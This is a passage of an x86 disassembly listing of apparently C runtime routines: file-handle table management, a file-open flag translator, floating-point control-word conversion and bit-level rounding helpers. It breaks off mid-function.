; =============== S U B	R O U T	I N E =======================================



sub_41FD41	proc near		; CODE XREF: sub_41FEC6+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_48B440
		push	edi
		jnb	short loc_41FDA1
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:48B340h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41FDA1
		cmp	dword_439594, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41FD97
		sub	eax, 0
		jz	short loc_41FD8E
		dec	eax
		jz	short loc_41FD89
		dec	eax
		jnz	short loc_41FD97
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41FD91
; ---------------------------------------------------------------------------

loc_41FD89:				; CODE XREF: sub_41FD41+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41FD91
; ---------------------------------------------------------------------------

loc_41FD8E:				; CODE XREF: sub_41FD41+3Bj
		push	ebx
		push	0FFFFFFF6h

loc_41FD91:				; CODE XREF: sub_41FD41+46j
					; sub_41FD41+4Bj
		nop
		call	near ptr 25A042Fh

loc_41FD97:				; CODE XREF: sub_41FD41+36j
					; sub_41FD41+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41FDB5
; ---------------------------------------------------------------------------

loc_41FDA1:				; CODE XREF: sub_41FD41+Cj
					; sub_41FD41+28j
		and	dword_48A018, 0
		mov	dword_48A014, 9
		or	eax, 0FFFFFFFFh

loc_41FDB5:				; CODE XREF: sub_41FD41+5Ej
		pop	edi
		pop	esi
		retn
sub_41FD41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FDB8	proc near		; CODE XREF: sub_41A6B7+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_48B440
		push	edi
		jnb	short loc_41FE1B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:48B340h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41FE1B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41FE1B
		cmp	dword_439594, 1
		jnz	short loc_41FE11
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41FE08
		dec	ecx
		jz	short loc_41FE03
		dec	ecx
		jnz	short loc_41FE11
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41FE0B
; ---------------------------------------------------------------------------

loc_41FE03:				; CODE XREF: sub_41FDB8+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41FE0B
; ---------------------------------------------------------------------------

loc_41FE08:				; CODE XREF: sub_41FDB8+3Ej
		push	eax
		push	0FFFFFFF6h

loc_41FE0B:				; CODE XREF: sub_41FDB8+49j
					; sub_41FDB8+4Ej
		call	near ptr 25A042Fh
		nop

loc_41FE11:				; CODE XREF: sub_41FDB8+38j
					; sub_41FDB8+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41FE2F
; ---------------------------------------------------------------------------

loc_41FE1B:				; CODE XREF: sub_41FDB8+Cj
					; sub_41FDB8+2Aj ...
		and	dword_48A018, 0
		mov	dword_48A014, 9
		or	eax, 0FFFFFFFFh

loc_41FE2F:				; CODE XREF: sub_41FDB8+61j
		pop	edi
		pop	esi
		retn
sub_41FDB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE32	proc near		; CODE XREF: sub_41A6B7+32p
					; sub_41A6B7+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_48B440
		jnb	short loc_41FE5A
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_48B340[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41FE5A
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------

loc_41FE5A:				; CODE XREF: sub_41FE32+Aj
					; sub_41FE32+23j
		and	dword_48A018, 0
		mov	dword_48A014, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41FE32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE6F	proc near		; CODE XREF: sub_41A795+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_48B440
		jnb	short loc_41FEB8
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_48B340[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41FEB8
		push	eax
		call	sub_41FE32
		pop	ecx
		push	eax
		nop
		call	near ptr 25A0000h
		test	eax, eax
		jnz	short loc_41FEAD
		nop
		call	near ptr 2610941h
		jmp	short loc_41FEAF
; ---------------------------------------------------------------------------

loc_41FEAD:				; CODE XREF: sub_41FE6F+34j
		xor	eax, eax

loc_41FEAF:				; CODE XREF: sub_41FE6F+3Cj
		test	eax, eax
		jz	short locret_41FEC5
		mov	dword_48A018, eax

loc_41FEB8:				; CODE XREF: sub_41FE6F+Aj
					; sub_41FE6F+22j
		mov	dword_48A014, 9
		or	eax, 0FFFFFFFFh

locret_41FEC5:				; CODE XREF: sub_41FE6F+42j
		retn
sub_41FE6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEC6	proc near		; CODE XREF: sub_41A96C+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41FEEC
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41FEF7
; ---------------------------------------------------------------------------

loc_41FEEC:				; CODE XREF: sub_41FEC6+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1

loc_41FEF7:				; CODE XREF: sub_41FEC6+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41FF11
		test	ch, 40h
		jnz	short loc_41FF0D
		cmp	dword_48A2E8, eax
		jz	short loc_41FF11

loc_41FF0D:				; CODE XREF: sub_41FEC6+3Dj
		or	[ebp+var_1], 80h

loc_41FF11:				; CODE XREF: sub_41FEC6+38j
					; sub_41FEC6+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41FF49
		dec	eax
		jz	short loc_41FF40
		dec	eax
		jz	short loc_41FF37

loc_41FF22:				; CODE XREF: sub_41FEC6+9Fj
					; sub_41FEC6+E8j ...
		mov	dword_48A014, 16h
		mov	dword_48A018, ebx
		jmp	loc_42015C
; ---------------------------------------------------------------------------

loc_41FF37:				; CODE XREF: sub_41FEC6+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41FF50
; ---------------------------------------------------------------------------

loc_41FF40:				; CODE XREF: sub_41FEC6+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41FF50
; ---------------------------------------------------------------------------

loc_41FF49:				; CODE XREF: sub_41FEC6+54j
		mov	[ebp+var_C], 80000000h

loc_41FF50:				; CODE XREF: sub_41FEC6+78j
					; sub_41FEC6+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41FF7E
		cmp	eax, 20h
		jz	short loc_41FF75
		cmp	eax, 30h
		jz	short loc_41FF6C
		cmp	eax, 40h
		jnz	short loc_41FF22
		mov	[ebp+var_10], esi
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------

loc_41FF6C:				; CODE XREF: sub_41FEC6+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------

loc_41FF75:				; CODE XREF: sub_41FEC6+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------

loc_41FF7E:				; CODE XREF: sub_41FEC6+90j
		mov	[ebp+var_10], ebx

loc_41FF81:				; CODE XREF: sub_41FEC6+A4j
					; sub_41FEC6+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41FFCB
		jz	short loc_41FFC6
		cmp	ecx, ebx
		jz	short loc_41FFC6
		cmp	ecx, edi
		jz	short loc_41FFBD
		cmp	ecx, 200h
		jz	short loc_41FFE4
		cmp	ecx, 300h
		jnz	loc_41FF22
		mov	[ebp+var_8], 2
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------

loc_41FFBD:				; CODE XREF: sub_41FEC6+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------

loc_41FFC6:				; CODE XREF: sub_41FEC6+D0j
					; sub_41FEC6+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------

loc_41FFCB:				; CODE XREF: sub_41FEC6+CEj
		cmp	ecx, 500h
		jz	short loc_41FFED
		cmp	ecx, 600h
		jz	short loc_41FFE4
		cmp	ecx, edx
		jz	short loc_41FFED
		jmp	loc_41FF22
; ---------------------------------------------------------------------------

loc_41FFE4:				; CODE XREF: sub_41FEC6+E0j
					; sub_41FEC6+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------

loc_41FFED:				; CODE XREF: sub_41FEC6+10Bj
					; sub_41FEC6+117j
		mov	[ebp+var_8], 1

loc_41FFF4:				; CODE XREF: sub_41FEC6+F5j
					; sub_41FEC6+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_420013
		mov	ecx, dword_48A01C
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_420013
		push	1
		pop	esi

loc_420013:				; CODE XREF: sub_41FEC6+138j
					; sub_41FEC6+148j
		test	al, 40h
		jz	short loc_420021
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1

loc_420021:				; CODE XREF: sub_41FEC6+14Fj
		test	ah, 10h
		jz	short loc_420028
		or	esi, edi

loc_420028:				; CODE XREF: sub_41FEC6+15Ej
		test	al, 20h
		jz	short loc_420034
		or	esi, 8000000h
		jmp	short loc_42003E
; ---------------------------------------------------------------------------

loc_420034:				; CODE XREF: sub_41FEC6+164j
		test	al, 10h
		jz	short loc_42003E
		or	esi, 10000000h

loc_42003E:				; CODE XREF: sub_41FEC6+16Cj
					; sub_41FEC6+170j
		call	sub_41FCAC
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_42005F
		and	dword_48A018, 0
		mov	dword_48A014, 18h
		jmp	short loc_42009D
; ---------------------------------------------------------------------------

loc_42005F:				; CODE XREF: sub_41FEC6+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	near ptr 2610691h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_420090
		push	esi
		nop
		call	near ptr 25B0818h
		test	eax, eax
		jnz	short loc_4200A4
		push	esi
		nop
		call	near ptr 25F1A27h

loc_420090:				; CODE XREF: sub_41FEC6+1B6j
		nop
		call	near ptr 2610941h
		push	eax
		call	sub_41EF44
		pop	ecx

loc_42009D:				; CODE XREF: sub_41FEC6+197j
		mov	eax, edi
		jmp	loc_42017A
; ---------------------------------------------------------------------------

loc_4200A4:				; CODE XREF: sub_41FEC6+1C1j
		cmp	eax, 2
		jnz	short loc_4200AF
		or	[ebp+var_1], 40h
		jmp	short loc_4200B8
; ---------------------------------------------------------------------------

loc_4200AF:				; CODE XREF: sub_41FEC6+1E1j
		cmp	eax, 3
		jnz	short loc_4200B8
		or	[ebp+var_1], 8

loc_4200B8:				; CODE XREF: sub_41FEC6+1E7j
					; sub_41FEC6+1ECj
		push	esi
		push	ebx
		call	sub_41FD41
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:48B340h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_420161
		test	al, 80h
		jz	short loc_420161
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_420161
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_420116
		cmp	dword_48A018, 83h
		jz	short loc_420161
		jmp	short loc_420155
; ---------------------------------------------------------------------------

loc_420116:				; CODE XREF: sub_41FEC6+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41E321
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_420143
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_420143
		push	[ebp+var_10]
		push	ebx
		call	sub_4211F1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_420155

loc_420143:				; CODE XREF: sub_41FEC6+265j
					; sub_41FEC6+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420161

loc_420155:				; CODE XREF: sub_41FEC6+24Ej
					; sub_41FEC6+27Bj
		push	ebx
		call	sub_41A6B7
		pop	ecx

loc_42015C:				; CODE XREF: sub_41FEC6+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_42017A
; ---------------------------------------------------------------------------

loc_420161:				; CODE XREF: sub_41FEC6+221j
					; sub_41FEC6+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_420178
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_420178
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]

loc_420178:				; CODE XREF: sub_41FEC6+29Fj
					; sub_41FEC6+2A5j
		mov	eax, ebx

loc_42017A:				; CODE XREF: sub_41FEC6+1D9j
					; sub_41FEC6+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42017F	proc near		; CODE XREF: sub_41C50A+52p
		xor	eax, eax
		retn
sub_42017F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420182	proc near		; CODE XREF: sub_4201B7+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_4201CD
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42025F
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_420182	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201B7	proc near		; CODE XREF: sub_41C7F6+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_420182
		pop	ecx
		pop	ecx
		retn
sub_4201B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201CD	proc near		; CODE XREF: sub_420182+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_4201DE
		push	10h
		pop	eax

loc_4201DE:				; CODE XREF: sub_4201CD+Cj
		test	bl, 4
		jz	short loc_4201E5
		or	al, 8

loc_4201E5:				; CODE XREF: sub_4201CD+14j
		test	bl, 8
		jz	short loc_4201EC
		or	al, 4

loc_4201EC:				; CODE XREF: sub_4201CD+1Bj
		test	bl, 10h
		jz	short loc_4201F3
		or	al, 2

loc_4201F3:				; CODE XREF: sub_4201CD+22j
		test	bl, 20h
		jz	short loc_4201FA
		or	al, 1

loc_4201FA:				; CODE XREF: sub_4201CD+29j
		test	bl, 2
		jz	short loc_420204
		or	eax, 80000h

loc_420204:				; CODE XREF: sub_4201CD+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_42023C
		cmp	edx, 400h
		jz	short loc_420239
		cmp	edx, 800h
		jz	short loc_420235
		cmp	edx, esi
		jnz	short loc_42023C
		or	eax, edi
		jmp	short loc_42023C
; ---------------------------------------------------------------------------

loc_420235:				; CODE XREF: sub_4201CD+5Ej
		or	eax, ebp
		jmp	short loc_42023C
; ---------------------------------------------------------------------------

loc_420239:				; CODE XREF: sub_4201CD+56j
		or	ah, 1

loc_42023C:				; CODE XREF: sub_4201CD+4Ej
					; sub_4201CD+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_42024C
		cmp	ecx, ebp
		jnz	short loc_420251
		or	eax, 10000h
		jmp	short loc_420251
; ---------------------------------------------------------------------------

loc_42024C:				; CODE XREF: sub_4201CD+72j
		or	eax, 20000h

loc_420251:				; CODE XREF: sub_4201CD+76j
					; sub_4201CD+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42025E
		or	eax, 40000h

locret_42025E:				; CODE XREF: sub_4201CD+8Aj
		retn
sub_4201CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42025F	proc near		; CODE XREF: sub_420182+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42026F
		push	1
		pop	eax

loc_42026F:				; CODE XREF: sub_42025F+Bj
		test	bl, 8
		jz	short loc_420276
		or	al, 4

loc_420276:				; CODE XREF: sub_42025F+13j
		test	bl, 4
		jz	short loc_42027D
		or	al, 8

loc_42027D:				; CODE XREF: sub_42025F+1Aj
		test	bl, 2
		jz	short loc_420284
		or	al, 10h

loc_420284:				; CODE XREF: sub_42025F+21j
		test	bl, 1
		jz	short loc_42028B
		or	al, 20h

loc_42028B:				; CODE XREF: sub_42025F+28j
		test	ebx, 80000h
		jz	short loc_420295
		or	al, 2

loc_420295:				; CODE XREF: sub_42025F+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_4202C2
		cmp	ecx, 100h
		jz	short loc_4202BF
		cmp	ecx, esi
		jz	short loc_4202BA
		cmp	ecx, edx
		jnz	short loc_4202C2
		or	ah, 0Ch
		jmp	short loc_4202C2
; ---------------------------------------------------------------------------

loc_4202BA:				; CODE XREF: sub_42025F+50j
		or	ah, 8
		jmp	short loc_4202C2
; ---------------------------------------------------------------------------

loc_4202BF:				; CODE XREF: sub_42025F+4Cj
		or	ah, 4

loc_4202C2:				; CODE XREF: sub_42025F+44j
					; sub_42025F+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_4202D8
		cmp	ecx, 10000h
		jnz	short loc_4202DA
		or	eax, esi
		jmp	short loc_4202DA
; ---------------------------------------------------------------------------

loc_4202D8:				; CODE XREF: sub_42025F+6Bj
		or	eax, edx

loc_4202DA:				; CODE XREF: sub_42025F+73j
					; sub_42025F+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_4202E7
		or	ah, 10h

locret_4202E7:				; CODE XREF: sub_42025F+83j
		retn
sub_42025F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4202E8	proc near		; CODE XREF: sub_420387+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_42032D
		inc	esi
		cmp	esi, 3
		jge	short loc_420328
		lea	eax, [eax+esi*4]

loc_42031A:				; CODE XREF: sub_4202E8+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_42032D
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_42031A

loc_420328:				; CODE XREF: sub_4202E8+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42032D:				; CODE XREF: sub_4202E8+27j
					; sub_4202E8+35j
		xor	eax, eax
		pop	esi
		retn
sub_4202E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_420331	proc near		; CODE XREF: sub_420387+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_421337
		add	esp, 0Ch
		dec	esi
		js	short loc_420383
		lea	edi, [ebx+esi*4]

loc_42036A:				; CODE XREF: sub_420331+50j
		test	eax, eax
		jz	short loc_420383
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_421337
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_42036A

loc_420383:				; CODE XREF: sub_420331+34j
					; sub_420331+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_420331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420387	proc near		; CODE XREF: sub_4204E2+81p
					; sub_4204E2+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_4203EB
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_4202E8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4203E8
		push	edi
		push	[ebp+arg_0]
		call	sub_420331
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx

loc_4203E8:				; CODE XREF: sub_420387+51j
		mov	eax, [ebp+arg_4]

loc_4203EB:				; CODE XREF: sub_420387+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_42040B
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd

loc_42040B:				; CODE XREF: sub_420387+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420387	endp


; =============== S U B	R O U T	I N E =======================================



sub_420413	proc near		; CODE XREF: sub_4204E2+75p
					; sub_4204E2+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx

loc_420421:				; CODE XREF: sub_420413+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_420421
		pop	esi
		retn
sub_420413	endp


; =============== S U B	R O U T	I N E =======================================



sub_42042E	proc near		; CODE XREF: sub_4204E2+5Fp
					; sub_4204E2+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42042E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42043A	proc near		; CODE XREF: sub_4204E2+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx

loc_420440:				; CODE XREF: sub_42043A+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_420452
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_420440
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_420452:				; CODE XREF: sub_42043A+9j
		xor	eax, eax
		retn
sub_42043A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420455	proc near		; CODE XREF: sub_4204E2+C0p
					; sub_4204E2+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi

loc_42048B:				; CODE XREF: sub_420455+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_42048B
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2

loc_4204BD:				; CODE XREF: sub_420455+86j
		cmp	ebx, edi
		jl	short loc_4204D0
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_4204D7
; ---------------------------------------------------------------------------

loc_4204D0:				; CODE XREF: sub_420455+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0

loc_4204D7:				; CODE XREF: sub_420455+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_4204BD
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420455	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4204E2	proc near		; CODE XREF: sub_42064E+Dp
					; sub_420664+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_42054F
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_42043A
		test	eax, eax
		pop	ecx
		jnz	loc_42060E
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		pop	ecx

loc_420547:				; CODE XREF: sub_4204E2+E4j
		push	2

loc_420549:				; CODE XREF: sub_4204E2+110j
		pop	eax
		jmp	loc_420610
; ---------------------------------------------------------------------------

loc_42054F:				; CODE XREF: sub_4204E2+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_420413
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420387
		add	esp, 10h
		test	eax, eax
		jz	short loc_420570
		inc	ebx

loc_420570:				; CODE XREF: sub_4204E2+8Bj
